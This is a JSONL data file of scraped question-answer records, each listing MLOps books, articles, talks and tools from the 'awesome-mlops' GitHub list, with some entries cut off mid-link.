{"id": "gh_469b99707c9e", "question": "How to: MLOps Books", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [“Machine Learning Engineering” by Andriy Burkov, 2020](http://www.mlebook.com/wiki/doku.php?id=start)\n1. [\"ML Ops: Operationalizing Data Science\" by David Sweenor, Steven Hillion, Dan Rope, Dev Kannabiran, Thomas Hill, Michael O'Connell](https://learning.oreilly.com/library/view/ml-ops-operationalizing/9781492074663/)\n1. [\"Building Machine Learning Powered Applications\" by Emmanuel Ameisen](https://learning.oreilly.com/library/view/building-machine-learning/9781492045106/)\n1. [\"Building Machine Learning Pipelines\" by Hannes Hapke, Catherine Nelson, 2020, O’Reilly](https://learning.oreilly.com/library/view/building-machine-learning/9781492053187/) \n1. [\"Managing Data Science\" by Kirill Dubovikov](https://www.packtpub.com/eu/data/managing-data-science)\n1. [\"Accelerated DevOps with AI, ML & RPA: Non-Programmer's Guide to AIOPS & MLOPS\" by Stephen Fleming](https://www.amazon.com/Accelerated-DevOps-AI-RPA-Non-Programmers-ebook/dp/B07ZMJCJRS)\n1. [\"Evaluating Machine Learning Models\" by Alice Zheng](https://learning.oreilly.com/library/view/evaluating-machine-learning/9781492048756/)\n1. [Agile AI. 2020. By Carlo Appugliese, Paco Nathan, William S. Roberts. O'Reilly Media, Inc.](https://learning.oreilly.com/library/view/agile-ai/9781492074984/)\n1. [\"Machine Learning Logistics\". 2017. By T. Dunning et al. O'Reilly Media Inc.](https://mapr.com/ebook/machine-learning-logistics/)\n1. [\"Machine Learning Design Patterns\" by Valliappa Lakshmanan, Sara Robinson, Michael Munn. O'Reilly 2020](https://learning.oreilly.com/library/view/machine-learning-design/9781098115777/)\n1. [\"Serving Machine Learning Models: A Guide to Architecture, Stream Processing Engines, and Frameworks\" by Boris Lublinsky, O'Reilly Media, Inc. 2017](https://www.lightbend.com/ebooks/machine-learning-guide-architecture-stream-processing-frameworks-oreilly)\n1. [\"Kubeflow for Machine Learning\" by Holden Karau, Trevor Grant, Ilan Filonenko, Richard Liu, Boris Lublinsky](https://learning.oreilly.com/library/view/kubeflow-for-machine/9781492050117/)\n1. [\"Clean Machine Learning Code\" by Moussa Taifi. Leanpub. 2020](https://leanpub.com/cleanmachinelearningcode)\n1. [E-Book \"Practical MLOps. How to Get Ready for Production Models\"](https://valohai.com/mlops-ebook/)\n1. [\"Introducing MLOps\" by Mark Treveil, et al. O'Reilly Media, Inc. 2020](https://learning.oreilly.com/library/view/introducing-mlops/9781492083283/)\n1. [\"Machine Learning for Data Streams with Practical Examples in MOA\", Bifet, Albert and Gavald\\`a, Ricard and Holmes, Geoff and Pfahringer, Bernhard, MIT Press, 2018](https://moa.cms.waikato.ac.nz/book/)\n1. [\"Machine Learning Product Manual\" by Laszlo Sragner, Chris Kelly](https://machinelearningproductmanual.com/)\n1. [\"Data Science Bootstrap Notes\" by Eric J. Ma](https://ericmjl.github.io/data-science-bootstrap-notes/)\n1. [\"Data Teams\" by Jesse Anderson, 2020](https://www.datateams.io/)\n1. [\"Data Science on AWS\" by Chris Fregly, Antje Barth, 2021](https://learning.oreilly.com/library/view/data-science-on/9781492079385/)\n1. [“Engineering MLOps” by Emmanuel Raj, 2021](https://www.packtpub.com/product/engineering-mlops/9781800562882)\n1. [Machine Learning Engineering in Action](https://www.manning.com/books/machine-learning-engineering-in-action)\n1. [Practical MLOps](https://learning.oreilly.com/library/view/practical-mlops/9781098103002/)\n1. [\"Effective Data Science Infrastructure\" by Ville Tuulos, 2021](https://www.manning.com/books/effective-data-science-infrastructure)\n1. [AI and Machine Learning for On-Device Development, 2021, By Laurence Moroney. O'Reilly](https://learning.oreilly.com/library/view/ai-and-machine/9781098101732/)\n1. [Designing Machine Learning Systems ,2022 by Chip Huyen , O'Reilly ](https://www.oreilly.com/library/view/designing-machine-learning/9781098107956/)\n1. [Reliable Machine Learning. 2022. By Cathy Chen, Niall Richard Murphy, Kranti Parisa, D. Sculley, Todd Underwood. O'Reilly](https://learning.oreilly.com/library/view/reliable-machine-learning/9781098106218/)\n1. [MLOps Lifecycle Toolkit. 2023. By Dayne Sorvisto. Apress](https://link.springer.com/book/10.1007/978-1-4842-9642-4)\n1. [Implementing MLOps in the Enterprise. 2023. By Yaron Haviv, Noah Gift. O'Reilly](https://www.oreilly.com/library/view/implementing-mlops-in/9781098136574/)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684767"}
{"id": "gh_68f5d2df732a", "question": "How to: MLOps Articles", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [Continuous Delivery for Machine Learning (by Thoughtworks)](https://martinfowler.com/articles/cd4ml.html)\n1. [What is MLOps? NVIDIA Blog](https://blogs.nvidia.com/blog/2020/09/03/what-is-mlops/)\n1. [MLSpec: A project to standardize the intercomponent schemas for a multi-stage ML Pipeline.](https://github.com/visenger/MLSpec)\n1. [The 2021 State of Enterprise Machine Learning](https://info.algorithmia.com/tt-state-of-ml-2021) | State of Enterprise ML 2020: [PDF](https://info.algorithmia.com/hubfs/2019/Whitepapers/The-State-of-Enterprise-ML-2020/Algorithmia_2020_State_of_Enterprise_ML.pdf) and [Interactive](https://algorithmia.com/state-of-ml)\n1. [Organizing machine learning projects: project management guidelines.](https://www.jeremyjordan.me/ml-projects-guide/)\n1. [Rules for ML Project (Best practices)](http://martin.zinkevich.org/rules_of_ml/rules_of_ml.pdf)\n1. [ML Pipeline Template](https://www.agilestacks.com/tutorials/ml-pipelines)\n1. [Data Science Project Structure](https://drivendata.github.io/cookiecutter-data-science/#directory-structure)\n1. [Reproducible ML](https://github.com/cmawer/reproducible-model)\n1. [ML project template facilitating both research and production phases.](https://github.com/visenger/ml-project-template)\n1. [Machine learning requires a fundamentally different deployment approach. As organizations embrace machine learning, the need for new deployment tools and strategies grows.](https://www.oreilly.com/radar/machine-learning-requires-a-fundamentally-different-deployment-approach/)\n1. [Introducting Flyte: A Cloud Native Machine Learning and Data Processing Platform](https://eng.lyft.com/introducing-flyte-cloud-native-machine-learning-and-data-processing-platform-fb2bb3046a59)\n1. [Why is DevOps for Machine Learning so Different?](https://hackernoon.com/why-is-devops-for-machine-learning-so-different-384z32f1)\n1. [Lessons learned turning machine learning models into real products and services – O’Reilly](https://www.oreilly.com/radar/lessons-learned-turning-machine-learning-models-into-real-products-and-services/)\n1. [MLOps: Model management, deployment and monitoring with Azure Machine Learning](https://docs.microsoft.com/en-gb/azure/machine-learning/concept-model-management-and-deployment)\n1. [Guide to File Formats for Machine Learning: Columnar, Training, Inferencing, and the Feature Store](https://towardsdatascience.com/guide-to-file-formats-for-machine-learning-columnar-training-inferencing-and-the-feature-store-2e0c3d18d4f9)\n1. [Architecting a Machine Learning Pipeline How to build scalable Machine Learning systems](https://towardsdatascience.com/architecting-a-machine-learning-pipeline-a847f094d1c7)\n1. [Why Machine Learning Models Degrade In Production](https://towardsdatascience.com/why-machine-learning-models-degrade-in-production-d0f2108e9214)\n1. [Concept Drift and Model Decay in Machine Learning](http://xplordat.com/2019/04/25/concept-drift-and-model-decay-in-machine-learning/?source=post_page---------------------------)\n1. [Machine Learning in Production: Why You Should Care About Data and Concept Drift](https://towardsdatascience.com/machine-learning-in-production-why-you-should-care-about-data-and-concept-drift-d96d0bc907fb)\n1. [Bringing ML to Production](https://www.slideshare.net/mikiobraun/bringing-ml-to-production-what-is-missing-amld-2020)\n1. [A Tour of End-to-End Machine Learning Platforms](https://databaseline.tech/a-tour-of-end-to-end-ml-platforms/)\n1. [MLOps: Continuous delivery and automation pipelines in machine learning](https://cloud.google.com/solutions/machine-learning/mlops-continuous-delivery-and-automation-pipelines-in-machine-learning)\n1. [AI meets operations](https://www.oreilly.com/radar/ai-meets-operations/)\n1. [What would machine learning look like if you mixed in DevOps? Wonder no more, we lift the lid on MLOps](https://www.theregister.co.uk/2020/03/07/devops_machine_learning_mlops/)\n1. [Forbes: The Emergence Of ML Ops](https://www.forbes.com/sites/cognitiveworld/2020/03/08/the-emergence-of-ml-ops/#72f04ed04698)\n1. [Cognilytica Report \"ML Model Management and Operations 2020 (MLOps)\"](https://www.cognilytica.com/2020/03/03/ml-model-management-and-operations-2020-mlops/) \n1. [Introducing Cloud AI Platform Pipelines](https://cloud.google.com/blog/products/ai-machine-learning/introducing-cloud-ai-platform-pipelines)\n1. [A Guide to Production Level Deep Learning ](https://github.com/alirezadir/Production-Level-Deep-Learning/blob/master/README.md)\n1. [The 5 Components Towards Building Production-Ready Machine Learning Systems](https://medium.com/cracking-the-data-science-interview/the-5-components-towards-building-production-ready-machine-learning-system-a4d5237ec04e)\n1. [Deep Learning in Production (references about deploying deep learning-based models in production)](https://github.com/ahkarami/Deep-Learning-in-Production)\n1. [Machine Learning Experiment Tracking](https://towardsdatascience.com/ma", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684837"}
{"id": "gh_10704317c695", "question": "How to: MLOps: Workflow Management", "question_body": "About visenger/awesome-mlops", "answer": "1. [Open-source Workflow Management Tools: A Survey by Ploomber](https://ploomber.io/posts/survey/)\n1. [How to Compare ML Experiment Tracking Tools to Fit Your Data Science Workflow (by dagshub)](https://dagshub.com/blog/how-to-compare-ml-experiment-tracking-tools-to-fit-your-data-science-workflow/)\n1. [15 Best Tools for Tracking Machine Learning Experiments](https://medium.com/neptune-ai/15-best-tools-for-tracking-machine-learning-experiments-64c6eff16808)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684845"}
{"id": "gh_a514f88a3fb3", "question": "How to: MLOps: Feature Stores", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [Feature Stores for Machine Learning Medium Blog](https://medium.com/data-for-ai)\n1. [MLOps with a Feature Store](https://www.logicalclocks.com/blog/mlops-with-a-feature-store)\n1. [Feature Stores for ML](http://featurestore.org/)\n1. [Hopsworks: Data-Intensive AI with a Feature Store](https://github.com/logicalclocks/hopsworks)\n1. [Feast: An open-source Feature Store for Machine Learning](https://github.com/feast-dev/feast)\n1. [What is a Feature Store?](https://www.tecton.ai/blog/what-is-a-feature-store/)\n1. [ML Feature Stores: A Casual Tour](https://medium.com/@farmi/ml-feature-stores-a-casual-tour-fc45a25b446a)\n1. [Comprehensive List of Feature Store Architectures for Data Scientists and Big Data Professionals](https://hackernoon.com/the-essential-architectures-for-every-data-scientist-and-big-data-engineer-f21u3e5c)\n1. [ML Engineer Guide: Feature Store vs Data Warehouse (vendor blog)](https://www.logicalclocks.com/blog/feature-store-vs-data-warehouse)\n1. [Building a Gigascale ML Feature Store with Redis, Binary Serialization, String Hashing, and Compression (DoorDash blog)](https://doordash.engineering/2020/11/19/building-a-gigascale-ml-feature-store-with-redis/)\n1. [Feature Stores: Variety of benefits for Enterprise AI.](https://insidebigdata.com/2020/12/29/how-feature-stores-will-revolutionize-enterprise-ai/)\n1. [Feature Store as a Foundation for Machine Learning](https://towardsdatascience.com/feature-store-as-a-foundation-for-machine-learning-d010fc6eb2f3)\n1. [ML Feature Serving Infrastructure at Lyft](https://eng.lyft.com/ml-feature-serving-infrastructure-at-lyft-d30bf2d3c32a)\n1. [Feature Stores for Self-Service Machine Learning](https://www.ethanrosenthal.com/2021/02/03/feature-stores-self-service/)\n1. [The Architecture Used at LinkedIn to Improve Feature Management in Machine Learning Models.](https://jrodthoughts.medium.com/the-architecture-used-at-linkedin-to-improve-feature-management-in-machine-learning-models-c7bd6ae54db)\n1. [Is There a Feature Store Over the Rainbow? How to select the right feature store for your use case](https://towardsdatascience.com/is-there-a-feature-store-over-the-rainbow-291cab94e8a5)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684855"}
{"id": "gh_160fc3569272", "question": "How to: MLOps: Data Engineering (DataOps)", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [The state of data quality in 2020 – O’Reilly](https://www.oreilly.com/radar/the-state-of-data-quality-in-2020/)\n1. [Why We Need DevOps for ML Data](https://tecton.ai/blog/devops-ml-data/) \n1. [Data Preparation for Machine Learning (7-Day Mini-Course)](https://machinelearningmastery.com/data-preparation-for-machine-learning-7-day-mini-course/)\n1. [Best practices in data cleaning: A Complete Guide to Everything You Need to Do Before and After Collecting Your Data.](https://www.researchgate.net/publication/266714997_Best_practices_in_data_cleaning_A_Complete_Guide_to_Everything_You_Need_to_Do_Before_and_After_Collecting_Your_Data)\n1. [17 Strategies for Dealing with Data, Big Data, and Even Bigger Data](https://towardsdatascience.com/17-strategies-for-dealing-with-data-big-data-and-even-bigger-data-283426c7d260)\n1. [DataOps Data Architecture](https://blog.datakitchen.io/blog/dataops-data-architecture)\n1. [Data Orchestration — A Primer](https://medium.com/memory-leak/data-orchestration-a-primer-56f3ddbb1700)\n1. [4 Data Trends to Watch in 2020](https://medium.com/memory-leak/4-data-trends-to-watch-in-2020-491707902c09)\n1. [CSE 291D / 234: Data Systems for Machine Learning](http://cseweb.ucsd.edu/classes/fa20/cse291-d/index.html)\n1. [A complete picture of the modern data engineering landscape](https://github.com/datastacktv/data-engineer-roadmap)\n1. [Continuous Integration for your data with GitHub Actions and Great Expectations. One step closer to CI/CD for your data pipelines](https://greatexpectations.io/blog/github-actions/)\n1. [Emerging Architectures for Modern Data Infrastructure](https://a16z.com/2020/10/15/the-emerging-architectures-for-modern-data-infrastructure/)\n1. [Awesome Data Engineering. Learning path and resources to become a data engineer](https://awesomedataengineering.com/)\n1. Data Quality at Airbnb [Part 1](https://medium.com/airbnb-engineering/data-quality-at-airbnb-e582465f3ef7) | [Part 2](https://medium.com/airbnb-engineering/data-quality-at-airbnb-870d03080469)\n1. [DataHub: Popular metadata architectures explained](https://engineering.linkedin.com/blog/2020/datahub-popular-metadata-architectures-explained)\n1. [Financial Times Data Platform: From zero to hero. An in-depth walkthrough of the evolution of our Data Platform](https://medium.com/ft-product-technology/financial-times-data-platform-from-zero-to-hero-143156bffb1d)\n1. [Alki, or how we learned to stop worrying and love cold metadata (Dropbox)](https://dropbox.tech/infrastructure/alki--or-how-we-learned-to-stop-worrying-and-love-cold-metadata)\n1. [A Beginner's Guide to Clean Data. Practical advice to spot and avoid data quality problems (by Benjamin Greve)](https://b-greve.gitbook.io/beginners-guide-to-clean-data/)\n1. [ML Lake: Building Salesforce’s Data Platform for Machine Learning](https://engineering.salesforce.com/ml-lake-building-salesforces-data-platform-for-machine-learning-228c30e21f16)\n1. [Data Catalog 3.0: Modern Metadata for the Modern Data Stack](https://towardsdatascience.com/data-catalog-3-0-modern-metadata-for-the-modern-data-stack-ec621f593dcf)\n1. [Metadata Management Systems](https://gradientflow.com/the-growing-importance-of-metadata-management-systems/)\n1. [Essential resources for data engineers (a curated recommended read and watch list for scalable data processing)](https://www.scling.com/reading-list/)\n1. [Comprehensive and Comprehensible Data Catalogs: The What, Who, Where, When, Why, and How of Metadata Management (Paper)](https://arxiv.org/pdf/2103.07532.pdf)\n1. [What I Learned From Attending DataOps Unleashed 2021 (byJames Le)](https://jameskle.com/writes/dataops-unleashed2021)\n1. [Uber's Journey Toward Better Data Culture From First Principles](https://ubr.to/3lo9GU8)\n1. [Cerberus - lightweight and extensible data validation library for Python](https://docs.python-cerberus.org/en/stable/)\n1. [Design a data mesh architecture using AWS Lake Formation and AWS Glue. AWS Big Data Blog](https://aws.amazon.com/blogs/big-data/design-a-data-mesh-architecture-using-aws-lake-formation-and-aws-glue/)\n1. [Data Management Challenges in Production Machine Learning (slides)](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/46178.pdf)\n1. [The Missing Piece of Data Discovery and Observability Platforms: Open Standard for Metadata](https://towardsdatascience.com/the-missing-piece-of-data-discovery-and-observability-platforms-open-standard-for-metadata-37dac2d0503)\n1. [Automating Data Protection at Scale](https://medium.com/airbnb-engineering/automating-data-protection-at-scale-part-1-c74909328e08)\n1. [A curated list of awesome pipeline toolkits](https://github.com/pditommaso/awesome-pipeline)\n1. [Data Mesh Archtitecture](https://www.datamesh-architecture.com/)\n1. [The Essential Guide to Data Exploration in Machine Learning (by NimbleBox.ai)](https://nimblebox.ai/blog/data-exploration)\n1. [Finding millions of label errors with Cleanlab](https://d", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684874"}
{"id": "gh_db57498e9679", "question": "How to: MLOps: Model Deployment and Serving", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [AI Infrastructure for Everyone: DeterminedAI](https://determined.ai/)\n1. [Deploying R Models with MLflow and Docker](https://mdneuzerling.com/post/deploying-r-models-with-mlflow-and-docker/)\n1. [What Does it Mean to Deploy a Machine Learning Model?](https://mlinproduction.com/what-does-it-mean-to-deploy-a-machine-learning-model-deployment-series-01/)\n1. [Software Interfaces for Machine Learning Deployment](https://mlinproduction.com/software-interfaces-for-machine-learning-deployment-deployment-series-02/)\n1. [Batch Inference for Machine Learning Deployment](https://mlinproduction.com/batch-inference-for-machine-learning-deployment-deployment-series-03/)\n1. [AWS Cost Optimization for ML Infrastructure - EC2 spend](https://blog.floydhub.com/aws-cost-optimization-for-ml-infra-ec2/)\n1. [CI/CD for Machine Learning & AI](https://blog.paperspace.com/ci-cd-for-machine-learning-ai/)\n1. [Itaú Unibanco: How we built a CI/CD Pipeline for machine learning with ***online training*** in Kubeflow](https://cloud.google.com/blog/products/ai-machine-learning/itau-unibanco-how-we-built-a-cicd-pipeline-for-machine-learning-with-online-training-in-kubeflow)\n1. [101 For Serving ML Models](https://pakodas.substack.com/p/101-for-serving-ml-models-10217c9f0764)\n1. [Deploying Machine Learning models to production — **Inference service architecture patterns**](https://medium.com/data-for-ai/deploying-machine-learning-models-to-production-inference-service-architecture-patterns-bc8051f70080)\n1. [Serverless ML: Deploying Lightweight Models at Scale](https://mark.douthwaite.io/serverless-machine-learning/)\n1. ML Model Rollout To Production. [Part 1](https://www.superwise.ai/resources-old/safely-rolling-out-ml-models-to-production) | [Part 2](https://www.superwise.ai/blog/part-ii-safely-rolling-out-models-to-production)\n1. [Deploying Python ML Models with Flask, Docker and Kubernetes](https://alexioannides.com/2019/01/10/deploying-python-ml-models-with-flask-docker-and-kubernetes/)\n1. [Deploying Python ML Models with Bodywork](https://alexioannides.com/2020/12/01/deploying-ml-models-with-bodywork/)\n1. [Framework for a successful Continuous Training Strategy. When should the model be retrained? What data should be used? What should be retrained? A data-driven approach](https://towardsdatascience.com/framework-for-a-successful-continuous-training-strategy-8c83d17bb9dc)\n1. [Efficient Machine Learning Inference. The benefits of multi-model serving where latency matters](https://www.oreilly.com/content/efficient-machine-learning-inference/)\n1. [Deploying Hugging Face ML Models in the Cloud with Infrastructure as Code](https://www.pulumi.com/blog/mlops-the-ai-challenge-is-cloud-not-code/)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684888"}
{"id": "gh_690eee2bf28c", "question": "How to: MLOps: Testing, Monitoring and Maintenance", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [Building dashboards for operational visibility (AWS)](https://aws.amazon.com/builders-library/building-dashboards-for-operational-visibility/)\n1. [Monitoring Machine Learning Models in Production](https://christophergs.com/machine%20learning/2020/03/14/how-to-monitor-machine-learning-models/)\n1. [Effective testing for machine learning systems](https://www.jeremyjordan.me/testing-ml/)\n1. [Unit Testing Data: What is it and how do you do it?](https://winderresearch.com/unit-testing-data-what-is-it-and-how-do-you-do-it/)\n1. [How to Test Machine Learning Code and Systems](https://eugeneyan.com/writing/testing-ml/) ([Accompanying code](https://github.com/eugeneyan/testing-ml))\n1. [Wu, T., Dong, Y., Dong, Z., Singa, A., Chen, X. and Zhang, Y., 2020. Testing Artificial Intelligence System Towards Safety and Robustness: State of the Art. IAENG International Journal of Computer Science, 47(3).](http://www.iaeng.org/IJCS/issues_v47/issue_3/IJCS_47_3_13.pdf)\n1. [Multi-Armed Bandits and the Stitch Fix Experimentation Platform](https://multithreaded.stitchfix.com/blog/2020/08/05/bandits/)\n1. [A/B Testing Machine Learning Models](https://mlinproduction.com/ab-test-ml-models-deployment-series-08/)\n1. [Data validation for machine learning. Polyzotis, N., Zinkevich, M., Roy, S., Breck, E. and Whang, S., 2019. Proceedings of Machine Learning and Systems](https://mlsys.org/Conferences/2019/doc/2019/167.pdf)\n1. [Testing machine learning based systems: a systematic mapping](https://link.springer.com/content/pdf/10.1007/s10664-020-09881-0.pdf)\n1. [Explainable Monitoring: Stop flying blind and monitor your AI](https://blog.fiddler.ai/2020/04/explainable-monitoring-stop-flying-blind-and-monitor-your-ai/)\n1. [WhyLogs: Embrace Data Logging Across Your ML Systems](https://medium.com/whylabs/whylogs-embrace-data-logging-a9449cd121d)\n1. [Evidently AI. Insights on doing machine learning in production. (Vendor blog.)](https://evidentlyai.com/blog)\n1. [The definitive guide to comprehensively monitoring your AI](https://www.monalabs.io/mona-blog/definitiveguidetomonitorai)\n1. [Introduction to Unit Testing for Machine Learning](https://themlrebellion.com/blog/Introduction-To-Unit-Testing-Machine-Learning/)\n1. [Production Machine Learning Monitoring: Outliers, Drift, Explainers & Statistical Performance](https://towardsdatascience.com/production-machine-learning-monitoring-outliers-drift-explainers-statistical-performance-d9b1d02ac158)\n1. Test-Driven Development in MLOps [Part 1](https://medium.com/mlops-community/test-driven-development-in-mlops-part-1-8894575f4dec)\n1. [Domain-Specific Machine Learning Monitoring](https://medium.com/mlops-community/domain-specific-machine-learning-monitoring-88bc0dd8a212)\n1. [Introducing ML Model Performance Management (Blog by fiddler)](https://blog.fiddler.ai/2021/03/introducing-ml-model-performance-management/)\n1. [What is ML Observability? (Arize AI)](https://arize.com/what-is-ml-observability/)\n1. [Beyond Monitoring: The Rise of Observability (Arize AI & Monte Carlo Data)](https://arize.com/beyond-monitoring-the-rise-of-observability/)\n1. [Model Failure Modes (Arize AI)](https://arize.com/ml-model-failure-modes/)\n1. [Quick Start to Data Quality Monitoring for ML (Arize AI)](https://arize.com/data-quality-monitoring/)\n1. [Playbook to Monitoring Model Performance in Production (Arize AI)](https://arize.com/monitor-your-model-in-production/)\n1. [Robust ML by Property Based Domain Coverage Testing (Blog by Efemarai)](https://towardsdatascience.com/why-dont-we-test-machine-learning-as-we-test-software-43f5720903d)\n1. [Monitoring and explainability of models in production](https://arxiv.org/pdf/2007.06299.pdf)\n1. [Beyond Monitoring: The Rise of Observability](https://aparnadhinak.medium.com/beyond-monitoring-the-rise-of-observability-c53bdc1d2e0b)\n1. [ML Model Monitoring – 9 Tips From the Trenches. (by NU bank)](https://building.nubank.com.br/ml-model-monitoring-9-tips-from-the-trenches/)\n1. [Model health assurance at LinkedIn. By LinkedIn Engineering](https://engineering.linkedin.com/blog/2021/model-health-assurance-at-linkedin)\n1. [How to Trust Your Deep Learning Code](https://krokotsch.eu/cleancode/2020/08/11/Unit-Tests-for-Deep-Learning.html) ([Accompanying code](https://github.com/tilman151/unittest_dl))\n1. [Estimating Performance of Regression Models Without Ground-Truth](https://bit.ly/medium-estimating-performance-regression) (Using [NannyML](https://bit.ly/ml-ops-nannyml))\n1. [How Hyperparameter Tuning in Machine Learning Works (by NimbleBox.ai)](https://nimblebox.ai/blog/hyperparameter-tuning-machine-learning)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684905"}
{"id": "gh_06c1d85f861b", "question": "How to: MLOps: Infrastructure & Tooling", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [MLOps Infrastructure Stack Canvas](https://miro.com/app/board/o9J_lfoc4Hg=/)\n1. [Rise of the Canonical Stack in Machine Learning. How a Dominant New Software Stack Will Unlock the Next Generation of Cutting Edge AI Apps](https://towardsdatascience.com/rise-of-the-canonical-stack-in-machine-learning-724e7d2faa75)\n1. [AI Infrastructure Alliance. Building the canonical stack for AI/ML](https://ai-infrastructure.org/)\n1. [Linux Foundation AI Foundation](https://wiki.lfai.foundation/)\n1. ML Infrastructure Tools for Production | [Part 1 — Production ML — The Final Stage of the Model Workflow](https://towardsdatascience.com/ml-infrastructure-tools-for-production-1b1871eecafb) | [Part 2 — Model Deployment and Serving](https://towardsdatascience.com/ml-infrastructure-tools-for-production-part-2-model-deployment-and-serving-fcfc75c4a362)\n1. [The MLOps Stack Template (by valohai)](https://valohai.com/blog/the-mlops-stack/)\n1. [Navigating the MLOps tooling landscape](https://ljvmiranda921.github.io/notebook/2021/05/10/navigating-the-mlops-landscape/)\n1. [MLOps.toys curated list of MLOps projects (by Aporia)](https://mlops.toys/)\n1. [Comparing Cloud MLOps platforms, From a former AWS SageMaker PM](https://towardsdatascience.com/comparing-cloud-mlops-platform-from-a-former-aws-sagemaker-pm-115ced28239b)\n1. [Machine Learning Ecosystem 101 (whitepaper by Arize AI)](https://arize.com/wp-content/uploads/2021/04/Arize-AI-Ecosystem-White-Paper.pdf)\n1. [Selecting your optimal MLOps stack: advantages and challenges. By Intellerts](https://intellerts.com/selecting-your-optimal-mlops-stack-advantages-and-challenges/)\n1. [Infrastructure Design for Real-time Machine Learning Inference. The Databricks Blog](https://databricks.com/blog/2021/09/01/infrastructure-design-for-real-time-machine-learning-inference.html)\n1. [The 2021 State of AI Infrastructure Survey](https://pages.run.ai/hubfs/PDFs/2021-State-of-AI-Infrastructure-Survey.pdf)\n1. [AI infrastructure Maturity matrix](https://pages.run.ai/hubfs/PDFs/AI-Infrastructure-Maturity-Benchmarking-Model.pdf)\n1. [A Curated Collection of the Best Open-source MLOps Tools. By Censius](https://censius.ai/mlops-tools)\n1. [Best MLOps Tools to Manage the ML Lifecycle (by NimbleBox.ai)](https://nimblebox.ai/blog/mlops-tools)\n1. [The minimum set of must-haves for MLOps](https://marvelousmlops.substack.com/p/the-minimum-set-of-must-haves-for)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684916"}
{"id": "gh_a713cb5c8aa0", "question": "How to: MLOps Papers", "question_body": "About visenger/awesome-mlops", "answer": "A list of scientific and industrial papers and resources about Machine Learning operalization since 2015. [See more.](papers.md)", "tags": ["visenger"], "source": "github_gists", "category": "visenger", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 13536, "answer_score": 10, "has_code": false, "url": "https://github.com/visenger/awesome-mlops", "collected_at": "2026-01-16T23:28:35.684921"}
{"id": "gh_0705bfd28a00", "question": "How to: Talks About MLOps", "question_body": "About visenger/awesome-mlops", "answer": "Click to expand!\n1. [\"MLOps: Automated Machine Learning\" by Emmanuel Raj](https://www.youtube.com/watch?v=m32k9jcY4pY)\n1. [DeliveryConf 2020. \"Continuous Delivery For Machine Learning: Patterns And Pains\" by Emily Gorcenski](https://youtu.be/bFW5mZmj0nQ)\n1. [MLOps Conference: Talks from 2019](https://www.mlopsconf.com?wix-vod-comp-id=comp-k1ry4afh)\n1. [Kubecon 2019: Flyte: Cloud Native Machine Learning and Data Processing Platform](https://www.youtube.com/watch?v=KdUJGSP1h9U)\n1. [Kubecon 2019: Running LargeScale Stateful workloads on Kubernetes at Lyft](https://www.youtube.com/watch?v=ECeVQoble0g)\n1. [A CI/CD Framework for Production Machine Learning at Massive Scale (using Jenkins X and Seldon Core)](https://youtu.be/68_Phxwaj-k)\n1. [MLOps Virtual Event (Databricks)](https://youtu.be/9Ehh7Vl7ByM)\n1. [MLOps NY conference 2019](https://www.iguazio.com/mlops-nyc-sessions/)\n1. [MLOps.community YouTube Channel](https://www.youtube.com/channel/UCG6qpjVnBTTT8wLGBygANOQ)\n1. [MLinProduction YouTube Channel](https://www.youtube.com/channel/UC3B_Z9FTeu4i8xtxDjGaZxw)\n1. [Introducing MLflow for End-to-End Machine Learning on Databricks. Spark+AI Summit 2020. Sean Owen](https://youtu.be/nx3yFzx_nHI)\n1. [MLOps Tutorial #1: Intro to Continuous Integration for ML](https://youtu.be/9BgIDqAzfuA)\n1. [Machine Learning At Speed: Operationalizing ML For Real-Time Data Streams (2019)](https://youtu.be/46l_C7ibpuo)\n1. [Damian Brady - The emerging field of MLops](https://humansofai.podbean.com/e/damian-brady-the-emerging-field-of-mlops/)\n1. [MLOps - Entwurf, Entwicklung, Betrieb (INNOQ Podcast in German)](https://www.innoq.com/en/podcast/076-mlops/)\n1. [Instrumentation, Observability & Monitoring of Machine Learning Models](https://www.infoq.com/presentations/instrumentation-observability-monitoring-ml/)\n1. [Efficient ML engineering: Tools and best practices](https://learning.oreilly.com/videos/oreilly-strata-data/9781492050681/9781492050681-video327465?autoplay=false)\n1. [Beyond the jupyter notebook: how to build data science products](https://towardsdatascience.com/beyond-the-jupyter-notebook-how-to-build-data-science-products-50d942fc25d8)\n1. [An introduction 